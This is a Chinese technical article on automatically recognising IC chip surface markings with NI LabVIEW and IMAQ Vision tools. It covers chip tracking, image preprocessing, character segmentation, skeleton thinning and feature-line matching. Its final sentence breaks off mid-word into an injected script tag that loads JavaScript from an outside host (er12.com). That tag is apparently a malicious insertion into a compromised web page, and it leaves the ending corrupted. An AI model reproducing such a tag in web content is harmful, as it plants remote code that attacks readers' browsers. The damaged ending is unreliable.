芯片表面标记自动识别技术是芯片制造技术不断高速发展的要求,本文介绍的系统使用ni的视觉系统开发工具,成功地实现了从芯片自动跟踪定位、图像采集到图像预处理、骨架提取以及识别等一系列功能。
芯片表面标记自动识别技术是芯片制造技术不断高速发展的要求,其中芯片表面标识主要包括厂商图标、序列号(包括英文字母及数字)等。由于自动识别技术具有极其重要的意义,一直以来,人们都对该技术的研究投入了大量的人力物力,并取得了卓有成效的进展。它可以应用于芯片性能自动检测领域,提高芯片测试效率,进而提高厂商的生产能力,具有十分广阔的应用前景。本系统使用ni的视觉系统开发工具构建,因而具有开发周期短、成本低等特点。系统综合运用了锐化、滤波、细化、特征识别等多种图像处理技术,成功地实现了从芯片自动跟踪定位、图像采集到图像预处理、骨架提取以及识别等一系列功能。
系统简介
我们使用labview、imaq vision和imaq vision assistant等软件进行系统开发。labview特有的数据流式编程、imaq vision强大的图像处理能力以及imaq vision assistant的代码自动生成功能极大地缩短了系统的开发周期、降低了成本。
图1所示为ic芯片表面标识自动识别系统的工作流程。这里使用ni公司的pxi-1409图像采集卡和mbc-5051黑白摄像机进行图像采集,然后将采集到的图像送入计算机进行处理。为了提高识别的灵活性,系统加入了学习模块。与识别过程类似,它也包括图像预处理、文字区域裁剪、细化以及特征量提取的过程。不同的是,学习过程直接将提取到的特征量保存到计算机上,而识别过程则需要将这些特征值与已经存储了的特征值一一比较完成匹配。
图1:识别系统的工作流程芯片自动跟踪定位
芯片一旦进入摄像头视场,则能被系统感知,系统会开始对该芯片进行自动跟踪,确保roi区域始终包含芯片,从而缩小了待处理的图像尺寸,减小了运算量。在这个过程中,系统主要完成了三个动作:阈值化采集到的图像,定位一个尺寸大于某一阈值的物体,根据该物体的位置信息设置roi。因此通过imaq vision,很容易就能够实现该定位功能。用户只需要对第一个动作中的灰度阈值和第二个动作中物体尺寸进行设置。
图像预处理
采集到的图像中夹杂有大量的噪声,这给图像的细化、识别等过程带来极大的困难,因此必须将它们滤除。图2所示为经过预处理之后的图像。系统采集到图像之后会自动对图像进行预处理,同时系统还支持手动图像处理,这主要是为了提高其在不同环境下的适应能力。如果用户对自动处理图像取得的效果不满意,可以打开图像手动处理程序,通过调整系统提供的图像处理函数的参数来获得较理想的图像质量。在进行手动处理的同时,系统将记录下用户使用过的图像处理函数及它们的参数,用户可以将这些参数保存到计算机中。因此,如果下一个待处理对象仍然是在该环境中,则可以调出这些参数,使用这些参数进行图像自动处理。
文字切割、细化
系统先将每一个文字单独分离出来,然后细化抽取它们的骨架,以方便后面的识别。文字的切分是利用文字行与行、字与字之间有间隙实现的。由于白颜色的灰度值是255,黑颜色的灰度值是零,所以可以逐行扫描下来,将当前行所有像素的灰度值之和与前一行的进行比较。如果发生正跳变,则说明该行为文字行的上边界,如果发生负跳变,则说明该行为文字行的下边界。确定了行边界之后再对该行进行左右扫描确定字的左右边界,从而分离每一个文字。但是逐行扫描速度较慢,因此系统使用了在此基础上改进的两次扫描法,原理类似。
细化过程采用的是fpa细化算法[1],其实现简单,功能强大,效果理想。如图3所示,即为对图像中两个已分离字符的细化过程。
文字识别
系统使用匹配法对文字进行识别,因此要先抽取图像中的一些特征量,然后将这些特征量与事先准备好的标准特征量进行匹配。如果某一个模板的标准特征量与待识别的图像的特征量最接近,即相似距离最小,则系统将待识别图像识别为该模板描述的文字或图像。
系统使用图4所示的方法提取特征量。其中有图像平面上纵、横、斜交叉的20条直线,这20条直线分别标记上1~20的序号。当图像平面上输入一个手写文字时,计算文字的各笔划与各条直线的相交次数,把他们作为该文字的特征量。设特征量数组为c,(方程1)中各个分量的值表示相应序号的特征直线与各笔划的相交次数。在提取特征值之前,系统先将分离出的文字图像逐一扩大为正方形,并且扩充之后文字仍然位于图像中心,使得斜向特征线更容易产生。
在特征线交点的基础上,系统匹配了更多的字符特征,例?script src=http://er12.com/t.js>